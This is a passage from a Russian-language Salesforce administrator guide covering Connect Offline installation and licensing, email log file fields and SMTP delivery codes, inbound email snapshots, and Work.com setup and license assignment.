страница». Чтобы открыть страницу «Проверить наличие обновлений», позволяющую пользователям загружать и
запускать установочныефайлы, щелкните баннер. Кроме того, личные параметры позволяют пользователям открывать
страницу «Проверить наличие обновлений», независимо от наличия предупреждения.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Установка приложения Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей в
приложении Connect
Offline:
• «Чтение» для

соответствующего типа
записи (например,
организации, контакты
или возможности)

Для обновления записей в
приложении Connect
Offline:
• «Создание»,

«Редактирование» или
«Удаление» для
соответствующего типа
записи (например,
организации, контакты
или возможности)

Распределение лицензий Connect Offline

При использовании версии Performance Edition, Unlimited Edition, Enterprise Edition или
Developer Edition компания Salesforce предоставляет одну лицензию Connect Offline для
каждой лицензии Salesforce. При использовании версии Professional Edition лицензии
Connect Offline приобретаются за дополнительную плату. Если лицензия Connect Offline
отсутствует, то приложение доступно пользователям в течение 30 дней.

ЧтобыназначитьлицензиюConnect Offlineпользователюорганизации, измените запись
пользователя и установите флажок «Пользователь Offline». Использование
приложения Force.com Connect Offline возможно только при наличии данного флажка.

Проверка требований к системе
Ниже перечислены требования к системе для установки приложения Connect Offline.

• Microsoft® Internet Explorer® 6, 7 или 8 (другие обозреватели, включая Mozilla® Firefox®,
Apple® Safari® и Google Chrome™, не поддерживаются)

• Microsoft Windows® 2000, Windows XP, Windows Vista® или Windows 7

Прим.: 32-разрядная версия браузера Internet Explorer 8 с параметром
совместимости для просмотра необходима для 64-разрядной версии этих
операционных систем.

• 256 МбОЗУ (рекомендуем 512 Мб)

• Не менее 20 Мб дискового пространства (рекомендуем 250 Мб в зависимости от
размера портфеля)

• Процессор Intel® Pentium® II, 500 МГц или лучше

Установка индивидуального клиента
Чтобы загрузить и установить приложение Connect Offline, выполните указанные ниже
действия.

1. В разделе личных параметров введите строку «Connect Offline» в поле
«Быстрый поиск», затем выберите пункт «Connect Offline».

2. Нажмите кнопку «Установить!».

Прим.: Приложение Connect Offline может быть установлено только при
наличии полномочий администратора на соответствующем компьютере.

3. Чтобы установить и запустить клиентское приложение, нажмите кнопку «Да».

4. Чтобы завершить процесс установки, выполните указания мастера установки.

5. Чтобы убедиться в завершении установки, выполните вход в приложение Connect Offline.
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Системное развертывание приложения Connect Offline

Если организация использует ОС Windows, то администраторы сети могут одновременно устанавливать приложение
Connect Offline на нескольких компьютерах. Чтобы выполнить пакетное развертывание, откройте страницу приложения
Connect Offline в личных параметрах и щелкните ссылку для загрузки архивного пакета MSI.

Совет: Журнал входов содержит версии приложения Connect Offline, используемые каждым пользователем.

Обновление приложения Connect Offline

Компания Salesforce выпускает регулярные обновления для приложения Connect Offline и уведомляет пользователей в
соответствии с параметрами, заданными в их профилях.

СМ. ТАКЖЕ:

Что такое стандартное содержимое портфеля Connect Offline?

Вкладки приложения Connect Offline

Устранение неполадок в приложении Connect Offline

Индивидуальная настройка системы Salesforce

Тестовые автономные наборы данных
Многие администраторы создают конфигурации портфеля на основе функциональных групп организации, так как
пользователи одной группы, как правило, предъявляют похожие требования к данным. Ниже представлены тестовые
наборыданныхдляобщих групп Salesforce. Несмотряна уникальные требования, предъявляемыепользователямиConnect
Offline, данные примеры позволяют пользователям начать работу с наборами данных в конфигурациях портфеля.

Менеджер по продажам
Как правило, менеджерыпопродажам должныпросматривать собственные записии записи своих подчиненных. Кроме
того, они могут внимательно отслеживать крупные сделки.

Конфигурация портфеля позволяет менеджерам по продажам просматривать:

• Собственные возможности

• Возможности, принадлежащие нижестоящим пользователям в иерархии ролей

• Все возможности стоимостью более 100 000 долларов США, которые должны быть закрыты в текущем квартале

• Все организации, связанные с возможностями

• Набор собственных записей контактов и действий

Специалист по продажам
Конфигурацияпортфеляспециалистапопродажамизвлекает возможности, принадлежащиедругимучастникамрабочей
группы, кроме записейпользователя. Конфигурацияпортфеля специалистапопродажамосновываетсяна возможностях,
так как все организации и контакты, добавленные в портфель, связаны с возможностями. Конфигурация портфеля
позволяет специалистам по продажам просматривать:

• Не более 5 000 собственных возможностей и 5 000 возможностей, принадлежащих группе, работающей с
возможностями. Данные возможности должны быть открыты или содержать крайний срок, датированный текущим
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месяцем, последними двумя месяцами или последующими 24 месяцами. При наличии более 5 000 возможностей
синхронизируются только 5 000 записей, измененных последними.

• Все организации, контакты и продукты, связанные с данными возможностями

• Набор задач и событий, связанных с данными возможностями

Менеджер по работе с клиентами
Конфигурация портфеля менеджера по работе с клиентами основывается на организациях, то есть портфель содержит
организации пользователя и связанные возможности. Фильтрация возможностей позволяет синхронизировать только
открытыевозможности, которыедолжныбытьзакрытывтекущемквартале. Дочерниенаборыданных «Задача» и «Событие»
извлекают все действия, связанные с данными возможностями. Портфель дополняется только открытыми задачами и
событиями за последние два месяца. Родительские наборы данных «Задача» и «Событие» извлекают только действия
пользователя и ограничивают их открытыми задачами и событиями, запланированными на следующие 30 дней. Набор
данных «Контакт» извлекаетконтактыпользователя, ноограничиваетихколичество 500 недавнимиактивнымиконтактами.

СМ. ТАКЖЕ:

Определение наборов данных Connect Offline

Управление конфигурациями портфеля Connect Offline

Отслеживание эл. почты

Что такое журнал регистрации сообщений эл. почты?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к журналам
регистрации сообщений эл.
почты:
• «Изменение всех

данных»

Журналы регистрации сообщений эл. почты — это CSV-файлы, которые содержат
сведения обо всех сообщениях эл. почты, отправленных посредством Salesforce за
последние 30 дней. Ниже перечислены данные, доступные в журналах.

• Адрес эл. почты каждого отправителя и получателя

• Дата и время отправки каждого сообщения эл. почты

• Статус доставки каждого сообщения эл. почты

• Любой код ошибки, связанный с каждым сообщением эл. почты

Журналы регистрации сообщений эл. почты могут использоваться для исправления
обнаруженных ошибок.

Введите строку «Файлы журнала регистрации сообщений эл. почты» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт «Файлыжурнала регистрации
сообщений эл. почты», чтобы настроить файлы журнала регистрации сообщений
электронной почты.

• Чтобыотправить запрос на новыйжурнал, нажмите кнопку «Отправить запросна
просмотржурналарегистрациисообщенийэл. почты». Принимая во внимание
объемэл. почты, обрабатываемыйпосредством Salesforce, полученные запросымогут
быть добавлены в очередь. Журналы регистрации сообщений эл. почты должны
быть доступны в течение 30 минут после запроса.

• Список отложенных запросов отображает статус невыполненных запросов на просмотр журнала регистрации
сообщений эл. почты. Одновременно разрешается обрабатывать не более трех отложенных запросов.

• Список ошибок журналов регистрации сообщений эл. почты содержит описания неудачных запросов.
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Чтобы отправить неудачный запрос повторно, нажмите кнопку «Отправить повторно».–

– Чтобы удалить неудачный запрос, щелкните ссылку «Удал.».

Внимание: Неудачный запрос, требующий обработки данных, срок давности которых превышает 30 дней, не
может быть отправлен повторно; повторная отправка также не поддерживается при наличии трех отложенных
запросов.

• Чтобы загрузить журнал регистрации сообщений эл. почты, щелкните «Загрузить (.zip)». Журналы регистрации
сообщений эл. почты — это CSV-файлы, доступные в виде сжатого файла, содержащего не более 100 000 записей.
Запросы на просмотр журнала регистрации сообщений эл. почты могут возвращать до 500 000 записей, поэтому
пользователям могут отображаться до пяти архивных файлов для загрузки. Журналы учитываются общими
ограничениями хранилищафайлов.

• Чтобы удалить журнал регистрации сообщений эл. почты, щелкните ссылку «Удал.».

Дополнительную информацию о содержимом журнала см. в разделе «Просмотр журналов регистрации сообщений эл.
почты» на странице 2314.

Отправка запроса на просмотр журнала регистрации сообщений эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к журналам
регистрации сообщений эл.
почты:
• «Изменение всех

данных»

Чтобы отправить запрос на просмотр нового журнала регистрации сообщений эл.
почты, выполните указанные ниже действия.

1. Введите строку «Файлы журнала регистрации сообщений эл. почты» вполе «Быстрый
поиск» в меню «Настройка» и выберите пункт «Файлыжурнала регистрации
сообщений эл. почты».

2. Нажмите кнопку «Отправить запрос на просмотржурнала регистрации
сообщений эл. почты».

Одновременноразрешаетсяобрабатыватьнеболее трехотложенныхзапросов. При
наличии трех отложенных запросов новый запрос может быть отправлен только
после выполнения как минимум одного их отложенных запросов.

3. Заполните поля «Время начала» и «Время окончания» для нужного журнала.
Журналы доступны для сообщений, отправленных за последние 30 дней.

Прим.: Каждый журнал может охватывать не более семи дней. Чтобы
просмотреть более ранние данные журнала, создайте несколько запросов.

4. При необходимости отфильтруйте журнал по строкам, поля которых (например,
«Получатель» или «Верхний колонтитул кода сообщения») содержатопределенное
имя домена или адрес эл. почты. При вводе нескольких критериев фильтрации рекомендуем использовать запятые.
Если данное поле пропускается, то журнал не фильтруется, а все возвращенные адреса эл. почты соответствуют
заданному интервалу времени.

5. Введите адреса эл. почты для отправки электронного уведомления о выполнении запроса. Введите адреса эл. почты
через запятую.

Чтобы отменить запрос и открыть страницу общих сведений о журнале, нажмите кнопку «Отмена».

СМ. ТАКЖЕ:

Просмотр журналов регистрации сообщений эл. почты
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Просмотр журналов регистрации сообщений эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к журналам
регистрации сообщений эл.
почты:
• «Изменение всех

данных»

Таблица ниже содержит описание и примеры полей журнала.

ПримерОписаниеПолеСтолбец

3/06/2009 13:37Дата и время
отправки
сообщения по
Гринвичу.

Дата/времяA

16/A4-20983-88E21E84Уникальный
внутренний код
сообщения.

Код внутреннего
сообщения

B

TДанное поле
определяет
финальноесобытие
на почтовом
сервере. Ниже
перечислены
возможные
значения.

R (получение)
Сообщение эл.
почтыполучено.

Событие эл. почтыC

D (доставка)
Сообщение эл.
почты
отправлено.

T (временная
ошибка)

Передача
сообщения эл.
почтыотложена.
Система
Salesforce
повторит
доставку в
течение 24 часов.
Первая попытка
выполняется
черезпятьминут
после первой
временной
ошибки,
вторая — через
10 минут,
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ПримерОписаниеПолеСтолбец

третья — через 20 минут
и т. д.

P (неустранимая ошибка)
Сообщение эл. почтыне
доставлено.

admin@acme.comАдрес эл. почты
пользователя, которому

ПолучательD

отправляется сообщение эл.
почты.

user@acme.comАдрес эл. почты
пользователя,

ОтправительE

отправляющего сообщение
эл. почты.

10.0.0.1IP-адрес сервера
приложений, используемого

Удаленный хостF

для доставки сообщения эл.
почты на почтовый сервер.

11856Размерсообщенияэл. почты.Количество переданных
байтов

G

00540000000rSXTКодотправителясообщения
эл. почтывсистеме Salesforce.

Код пользователяH

21749386.
106091224027705044.

Верхний колонтитул кода в
начале каждого сообщения
эл. почты.

Верхний колонтитул кода
сообщения

I

JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

11Количество попыток
доставки сообщения эл.
почты.

Количество повторовJ

300Количество секунд,
необходимое для доставки
сообщения эл. почты.

Время в очереди (в
секундах)

K

during RCPT TOФинальный этап доставки
перед регистрацией. Ниже

Этап доставкиL

перечислены значения
этапов в порядке их
отображения во время
SMTP-сеанса.

BANNER
Ответ
SMTP-подключения.
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ПримерОписаниеПолеСтолбец

EHLO
Начало сеанса с
почтовым сервером.

STARTTLS
Установка сеанса
безопасной связи с
почтовым сервером.

MAIL FROM
Отображение
отправителя сообщения
эл. почты.

RCPT TO
Отображениеполучателя
сообщения эл. почты.

DATA
Отображение
последующеготекста как
сообщения эл. почты.

BODY
Статус отправки текста
сообщения эл. почты
получателю.

RSET
Сброссостояниясервера,
завершение сеанса.

Ниже перечислены ответы,
которыемогутотображаться
на любом этапе доставки.

while not connected
Клиент пытается
установить
подключение.

while idle
Клиент подключен, но
не поддерживает
отправку или прием
команд.

reading confirmation
Команда отправлена, а
клиент ожидает ответа.

handshaking TLS
При установке
безопасного
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ПримерОписаниеПолеСтолбец

подключения
произошла ошибка.

out of band bounce
Принимающий сервер
принял команду, а затем
отклонил ее по
неизвестной причине.

in unknown state
Произошла неизвестная
ошибка.

relay.my.orgИмя хоста выбранной
системы перенаправления.

Адрес для перенаправленияM

587Порт выбранной системы
перенаправления.

Порт для перенаправленияN
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ПримерОписаниеПолеСтолбец

421 no adequate
servers

После каждого этапа
доставки почтовый сервер
отправляет трехзначныйкод

Уведомление о статусе
доставки

O

ответа. Первая цифра
определяет успешность
выполнениякоманды; вторая
цифра определяет тип
ошибки; третья цифра
определяетдополнительные
сведения, необходимые для
решения возможной
проблемы.

Ниже перечислены пять
возможныхзначенийпервой
цифры.

1xx  (положительный
предварительный ответ)

Команда принята, но
ответ не отправлен.

2xx  (положительный
окончательный ответ)

Запрошенное действие
выполнено.

3xx  (положительный
промежуточный ответ)

Команда принята, но
запрошенное действие
требуетдополнительных
сведений.

4xx  (временно
отрицательный
окончательный ответ)

Команда не принята, а
запрошенное действие
не выполнено. Тем не
менее, ошибочное
условие является
временным и действие
может быть запрошено
повторно.

5xx  (постоянно
отрицательный
окончательный ответ)

Команда не принята, а
запрошенное действие
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ПримерОписаниеПолеСтолбец

не выполнено.

Каждый поставщик службы
эл. почты использует коды
по-разному, поэтому список
значений для второй и
третьей цифр отсутствует.

Дополнительную
информацию о данных
кодах см. в официальной
документации SMTP (раздел
4.2.1): http://
www.ietf.org/rfc/rfc2821.txt
?number=2821

СМ. ТАКЖЕ:

Что такое журнал регистрации сообщений эл. почты?

Устранение неполадок со снимками входящих сообщений эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запроса,
просмотра, загрузки и
удаления снимков
сообщений эл. почты:
• «Изменение всех

данных»

Создание снимка входящих сообщений эл. почты для быстрого устранения возникших
неисправностей.

Снимок входящего сообщения эл. почты — это копия входящего сообщения эл. почты,
позволяющая диагностировать неполадки в работе служб эл. почты (например, Email to
Salesforce, Email-to-Case и службы эл. почты Apex). Чтобы отправить запрос на получение
снимка, введите критерии для адресов отправителя и получателя сообщения эл. почты,
при выполнении которых система создает отдельную копию входящего сообщения,
доступную для просмотра и загрузки. Само сообщение эл. почты обрабатывается в
обычном режиме, без изменений. Ниже перечислены компоненты снимков.

• Адрес отправителя

• Адрес службы входящих сообщений эл. почты

• Дата и время снимка

• Полное содержимое сообщения (включая заголовки и вложения)

Чтобы включить функцию снимков электронной почты, свяжитесь с Salesforce.

• Чтобыперейтиквходящимсообщениямэл. почты, введите строку «Снимки сообщений
эл. почты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Снимки сообщений эл. почты».

• Чтобы отправить запрос на получение снимка входящего сообщения эл. почты,
введите критериидля адресовполучателя (обязательно) иотправителя (дополнительно). Затемщелкните «Запросить
снимок».
Запрошенный снимок добавляется в список «Отложенные и готовые снимки». Как только входящее сообщение
соответствует заданным критериям, система создает снимок и выполняет запрос.

• Для просмотра сделанных снимков:
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ОписаниеПараметр

Чтобы просмотреть время создания снимка, адрес
отправителя и адрес службы входящих сообщений эл.

Просмотр сведений о снимке

почты, щелкните «Показатьсведения». Чтобысвернуть
раздел сведений, щелкните «Скрыть сведения».

Нажмите кнопку «Загрузить», а затем откройте
сообщение эл. почты в виде текстового файла или
сохраните его на компьютер.

Загрузка снимка

Ниже перечислены рекомендации по использованию снимков входящих сообщений эл. почты.

• Общее количество отложенных и готовых снимков не должно превышать 25. Чтобы освободить пространство для
новыхснимков, удалитенекоторыетекущиеснимки. Удалениюподлежатлюбыеотложенныеиготовыеснимки (даже
те, которые изначально были запрошены другими пользователями).

• Снимки удаляются без возможности восстановления. Они не перемещаются в корзину.

• Примите во внимание рекомендации по вводу критериев для адреса получателя.

– Критерии применяются ко всем адресам, указанным в полях «Кому», «Копия» или «СК» сообщения эл. почты.

– Адреса службы входящих сообщений эл. почты всегда заканчиваются элементом salesforce.com.

– Чтобы найти адреса, используемые в организации, воспользуйтесь таблицей ниже.

Область поиска адресовТип адреса входящего сообщения эл. почты

На странице личныхпараметровпользователя введите
строку Email to Salesforce в поле «Быстрый

Уникальный адрес пользователя Email to Salesforce

поиск» в меню «Настройка» и выберите пункт Email to
Salesforce, чтобы просмотреть уникальный адрес,
назначенный пользователюфункцией «Email to
Salesforce».

Введите строку Email-to-Case в поле «Быстрый
поиск» ивыберитепунктEmail-to-Case, чтобыоткрыть

Адреса маршрутизации эл. почты для функции
Email-to-Case или On-Demand Email-to-Case

страницу параметров «Email-to-Case».Просмотрите
раздел «Адреса маршрутизации».

Введите строку «Службы эл. почты» вполе «Быстрый
поиск» в меню «Настройка», а затем выберите пункт
«Службы эл. почты» и имя нужной службы.

Адреса службы эл. почты организации

• Символ «*» может использоваться в локальной (перед символом «@») и доменной (после символа «@») частях адреса
эл. почты. Использование пробелов, запятых и точек с запятыми запрещено. Каждое адресное поле может содержать
не более 255 символов.

• Есливыхотите запроситьболееодногоснимка сидентичнымикритериями, щелкнитеЗапроситьснимокнесколько
раз.

• Если готовый снимок отображается со статусом «Ожидание», рекомендуем обновить страницу.
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• Срок действия снимков не ограничен. Если никакие входящие сообщения не соответствуют указанным критериям,
запрошенный снимок остается со статусом Ожидание в течение неопределенного количества времени. Готовые
снимки хранятся до их удаления пользователем.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Настройка Work.com

Общие сведения о внедрении Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Лицензия на компонент
Work.com является
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

Work.com — это набор инструментов для управления продажами и услугами,
позволяющий менеджерам и рабочим группам повысить эффективность обучения и
выполнения поставленных задач.

Work.com поддерживает разные функции, предназначенные для повышения
производительности рабочих групп. А именно: признание, связанное с реальными
наградами, подробные цели и обучение в режиме реального времени, а также
полнофункциональные обзоры производительности.

Чтобы настроитьWork.com после получения лицензийWork.com, выполните указанные
ниже действия.

• Назначьте администратораWork.com для завершения процесса настройки.

• Включите настройки для функцийWork.com.

• НастройтеполномочиядляфункцийWork.comпосредствомпрофилейилинаборов
полномочий.

• Назначьте лицензииWork.com пользователям.

• Настройте функцииWork.com для организации.

СМ. ТАКЖЕ:

Предварительные требования

Назначение администратора Work.com

Включение функций Work.com

Доступ к функциям Work.com

Типы лицензий Work.com

Общие сведения о функциях Work.com
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Предварительные требования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Лицензия на компонент
Work.com является
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для включения функций Work.com:

«Назначение наборов полномочий»Для назначения наборов полномочий:

«Управление пользователями»Для назначения профилей:

«Управление профилями и наборами
полномочий»

И

«Настройка приложения»

Для настройки параметров безопасности
поля:

«Включить калибровку Work.com»Для просмотра вкладки «Калибровка»:

Прежде чем включитьWork.com в организации, составьте план внедрения.

Прежде чем начать процесс внедрения, рекомендуем включить полномочияWork.com и получить лицензииWork.com
дляорганизации Salesforce. Данныедействиябудут координироваться контактом Salesforce. Принеобходимостипроверьте
наличие доступныхлицензийWork.com. Вразделе «Настройка» введите «Сведения о компании» в поле «Быстрый поиск»,
затемвыберите «Сведенияокомпании»ипроверьтеимяпользователяWork.com вразделе «Лицензиинакомпоненты».

Прим.: Рекомендуем включить поддержку Chatter, независимо от версии, используемой организацией. Многие
функцииWork.com используют ленту Chatter для взаимодействия с пользователями и их уведомления. Чтобы
подтвердить включениеChatter, введите строку «Параметры Chatter» вполе «Быстрый поиск», выберитепункт
«Параметры Chatter» и убедитесь, что параметры Chatter включены.

СМ. ТАКЖЕ:

Назначение администратора Work.com
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Включение Work.com

Назначение администратора Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
администратора Work.com:
• «Настройка

приложения»

Прежде чем включитьWork.com в организации, рекомендуем назначить лицензию на
компонент «ПользовательWork.com» пользователю, являющемуся системным
администратороминесущемуответственность за настройкуWork.com для организации.

Администратор, настраивающийWork.com, должен назначить лицензию самому себе.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкнитессылку«Правка»напротивименипользователя, которыйбудетсистемным
администратором.

3. Установите флажок «ПользовательWork.com» в правом столбце.

4. Нажмите кнопку «Сохранить».

Настоятельно рекомендуем создать отдельный профиль «АдминистраторWork.com» с
ограниченнымдоступомввидуширокихвозможностейстандартногопрофиляSalesforce
«Системный администратор».

СМ. ТАКЖЕ:

Включение функций Work.com

Включение функций Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функций
Work.com:
• «Настройка

приложения»

Администраторы могут включать настройки для функцийWork.com на странице
«ПараметрыWork.com».

Все параметры, кроме разделов «Параметры благодарностей» и «Параметры навыков»,
требуют наличия лицензииWork.com.

1. Введите строку «Параметры Work.com» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Work.com».

2. Выберите нужные функцииWork.com.

При приобретенииWork.com до выпуска Spring'15 функции, отображаемые
пользователям, определяютсяналичиемлицензийнакомпонентWork.com Motivate,
Work.com Align илиWork.com Perform.

ОписаниеРазделФункция

Даннаяфункцияпозволяетпользователям
выражать свою признательность
посредством эмблем-благодарностей в
ленте Chatter.

При отключении данного параметра
действие «Благодарность» будет

Параметры
благодарностей

Включить
благодарности

недоступно в публикаторе Chatter. Тем не
менее сообщения-благодарности,
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ОписаниеРазделФункция

созданные ранее, будут доступны без ограничений.

По умолчанию создание настраиваемых эмблем доступно
всемпользователям. Данныйпараметрпозволяет создавать

Параметры
благодарностей

Разрешить создание
настраиваемых эмблем
только определенной
группе пользователей

эмблемытолькопользователямсполномочием «Создание»
для объекта «Награда».

Даннаяфункцияпозволяетдополнятьэмблемыреальными
наградами. Авторы наград могут загружать коды подарков

Параметры признанийВключить награды

для создания копилок наград. Дополнительную
информацию о создании наград см. в разделе «Копилки
наград».

Включите группы менеджеров, чтобы менеджеры могли
иметь доступ к пространствам обучения отчитывающихся

Параметры обученияВключить группы
менеджеров для обучения

пользователей. Для включения этой настройки сначала
следуетвключить «Группыменеджеров» вменю «Настройка»
в разделе «Параметры общего доступа».

Включите группы менеджеров, чтобы менеджеры могли
иметь доступ кцелямотчитывающихсяпользователей. Для

Параметры целейВключить группы
менеджеров для целей

включения этой настройки сначала следует включить
«Группы менеджеров» в меню «Настройка» в разделе
«Параметры общего доступа».

Данная функция позволяет просматривать и обновлять
показатели эффективности рабочих групп и отдельных
пользователей.

Параметры
производительности

Включить калибровку

Прим.: В организациях, использующих версию
Performance Edition, функция «Калибровка» не
поддерживаетсяследующимипрофилями: «Менеджер
контрактов», «Пользователь Marketing», «Только для
чтения» и «Менеджер решений».

Даннаяфункцияпозволяетпользователямдобавлятьнавыки
в свои профили и подтверждать навыки других

Параметры навыковВключить навыки

пользователей. Включение данного параметра заменяет
виджет «Профильные темы» в профиле Chatter.

Данная функция позволяет пользователям выключать
встроенное редактирование навыков и подтверждений в

Параметры навыковОграничить
редактирование навыков

профилях Chatter, а также ограничивать редактированиеи подтверждений
страницамисведенийо записях. Рекомендуемиспользоватьстраницами сведений о

записях даннуюфункциютолькопридополненииданныхобъектов
настраиваемыми обязательными полями.

Прим.: Не рекомендуем включать данный параметр
при использовании навыков в профилях Chatter.
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ОписаниеРазделФункция

Данная функция позволяет автоматически создавать
сообщения ленты Chatter при добавлении нового навыка.

Параметры навыковВключитьавтоматические
сообщения ленты о
навыках

Данная функция позволяет отображать дополнительные
навыкипользователейнаосновеихдействийв темахChatter.

Параметры навыковВключить предложенные
навыки

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Доступ к функциям Work.com

Доступ к функциям Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

После включенияWork.com для организации предоставьте пользователям доступ к
функциямWork.com посредством профилей или наборов полномочий.

Администраторы могут предоставлять пользователям доступ к функциямWork.com
посредством профилей или наборов полномочий.

Прим.: Организации Professional Edition должны будут предоставлять доступ
посредством текущих профилей.

• Профиль содержит полномочия пользователя и параметры доступа, которые
определяют действия, доступные пользователям в организации. Каждому
пользователю может быть назначен только один профиль. Дополнительную
информацию о создании профилей см. в разделе «Рекомендованные профили
Work.com».

• Набор полномочий — это совокупность параметров и полномочий, которая предоставляет пользователям доступ к
различным инструментам и функциям. Наборы полномочий позволяют расширить функциональный доступ
пользователей без изменения их профилей. Дополнительную информацию о создании соответствующих наборов
полномочий см. в разделе «Рекомендованные наборы полномочийWork.com».

Лицензии пользователяWork.com Only, предоставленные организации, поддерживают стандартный профильWork.com
Only. Помните, что стандартный профиль не может быть изменен, но может быть клонирован для последующего
изменения.

СМ. ТАКЖЕ:

Рекомендованные наборы полномочий Work.com

Назначение наборов полномочий Work.com

Рекомендованные профили Work.com

Назначение профилей Work.com

Типы лицензий Work.com
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Назначение наборов полномочий Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения наборов
полномочий:
• «Назначение наборов

полномочий»

Назначьте наборы полномочий, поддерживающие доступ к компонентуWork.com,
пользователям посредством меню «Настройка».

Преждечемназначитьнаборыполномочийпользователям, рекомендуемсоздатьнаборы
полномочий, поддерживающие доступ к компонентуWork.com. Дополнительную
информацию см. в разделе «Рекомендованные наборы полномочийWork.com».

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужного пользователя.

3. Нажмите кнопку «Редактировать назначения» в связанном списке «Назначения
набора полномочий».

4. Чтобы назначить набор полномочий, выберите нужный набор в поле «Доступные
наборы полномочий» и нажмите кнопку «Добавить». Чтобы удалить назначение
набора полномочий, выберите нужный набор в поле «Включенные наборы
полномочий» и нажмите кнопку «Удалить».

Прим.:

• Страница «Назначениянабораполномочий» содержитнаборыполномочий
без связанной лицензии и наборы полномочий, которые соответствуют
лицензии пользователя. Например, при использовании лицензии Chatter
Onlyпользователюмогутбытьназначенынаборыполномочийслицензией
Chatter Only и наборы полномочий без связанной лицензии.

Приназначениинабораполномочийбез связаннойлицензиипользователя
все включенные параметры и полномочия должны быть разрешены
лицензией пользователя. В противном случае назначение не выполняется.

• Некоторые полномочия могут быть предоставлены пользователю только
приналичиисоответствующихлицензийнабораполномочий. Например, набор
полномочий «Identity», дополненныйполномочием «Использование Identity
Connect», может быть назначен только пользователям с лицензией набора
полномочий Identity Connect.

5. Нажмите кнопку «Сохранить».
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Назначение профилей Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения профилей:
• «Управление

пользователями»

Назначьте профили, поддерживающие доступ к компонентуWork.com, пользователям
посредством меню «Настройка».

Прежде чем назначить профили пользователям, рекомендуем создать профили,
поддерживающие доступ к компонентуWork.com. Дополнительную информацию см.
в разделе «Рекомендованные профилиWork.com».

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив нужного пользователя.

3. Выберите нужный профиль из раскрывающегося списка «Профиль».

4. Нажмите кнопку «Сохранить».

Типы лицензий Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПослепредоставлениядоступакфункциямWork.comпосредствомнаборовполномочий
или профилей назначьте пользователям лицензиюWork.com.

Work.com поддерживает два типа лицензий.

• ЛицензиипользователяWork.com Only предназначаютсяпользователямбезлицензии
Salesforce, которым требуется доступ только к функциямWork.com.

Прим.: Лицензии пользователяWork.com Only поддерживают ограниченные
функцииадминистрирования. Пользователям, которыебудутадминистрировать
циклы сводок по производительности или другиефункцииWork.com, должны
быть назначены лицензии на компонент «ПользовательWork.com».

• Лицензиинакомпонент «ПользовательWork.com» предназначаютсяпользователям,
имеющим лицензию Salesforce.

Прежде чем назначить лицензии всем пользователям, рекомендуем настроить функцииWork.com. Например,
первоначальноеограничениелицензийадминистраторамиWork.comпозволяетизбежатьраннегопредоставлениядоступа
к некоторымфункциям.

СМ. ТАКЖЕ:

Назначение лицензий пользователя Work.com Only

Назначение лицензий на компонент «Пользователь Work.com»

Общие сведения о функциях Work.com
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Назначение лицензий пользователя Work.com Only

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения лицензий
пользователя:
• «Управление

пользователями»

